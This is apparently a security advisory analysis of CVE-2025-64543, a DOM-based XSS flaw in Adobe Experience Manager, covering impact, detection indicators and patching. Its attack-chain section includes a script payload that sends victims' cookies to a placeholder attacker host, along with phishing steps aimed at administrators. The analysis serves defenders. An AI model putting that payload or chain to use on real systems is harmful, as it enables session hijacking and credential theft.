CVE-2025-64543: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64543 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged authenticated attackers to execute malicious scripts in the context of a victim's browser. It affects AEM versions 6.5.23 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with the advisory updated on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the DOM-based variant. An attacker with low privileges can craft a malicious URL or manipulate a web page such that unsanitized input is processed by the victim's browser DOM, triggering script execution without server-side reflection. Exploitation requires user interaction — the victim must visit a crafted URL or interact with a manipulated page — and the vulnerability operates across a changed scope (S:C), meaning the injected script can affect resources beyond the vulnerable component's origin (Adobe Advisory, Tenable Plugin).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the vulnerable component, affecting other browser-accessible resources. Confidentiality and integrity are both partially compromised, while availability is not directly impacted (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running versions 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable DOM sink: Locate AEM pages or components that reflect attacker-controlled input into the DOM without proper sanitization — typical targets include search fields, URL parameters, or content fragments rendered client-side.
4. Craft malicious URL or page: Construct a URL or web page that passes a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable DOM sink.
5. Deliver to victim: Send the crafted URL to a higher-privileged AEM user (e.g., an administrator) via phishing email, chat, or embedded link, inducing them to click it.
6. Harvest results: Upon victim interaction, the injected script executes in their browser, exfiltrating session cookies, tokens, or other sensitive data to the attacker's server (Adobe Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing AEM pages; unusual GET/POST requests to attacker-controlled endpoints containing encoded cookie or token data.
• Logs: AEM access logs showing requests to AEM pages with suspicious URL-encoded JavaScript fragments (e.g., %3Cscript%3E, javascript:, onerror=) in query parameters or hash fragments.
• Browser/Client: Browser developer console errors related to Content Security Policy (CSP) violations triggered by inline script execution on AEM pages.
• Application: Unexpected modifications to AEM content or user account settings made under a legitimate user's session that the user did not initiate.

Adobe has released patches addressing CVE-2025-64543: AEM on-premise users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users are protected as of the 2025.12.0 release. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also enforce strict Content Security Policy (CSP) headers on AEM deployments to reduce XSS risk as a defense-in-depth measure (Adobe Advisory).

The CIS (Center for Internet Security) issued an advisory noting multiple vulnerabilities in Adobe products that could allow for arbitrary code execution, grouping CVE-2025-64543 among the December 2025 Adobe patch batch (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability tracking and scanner coverage.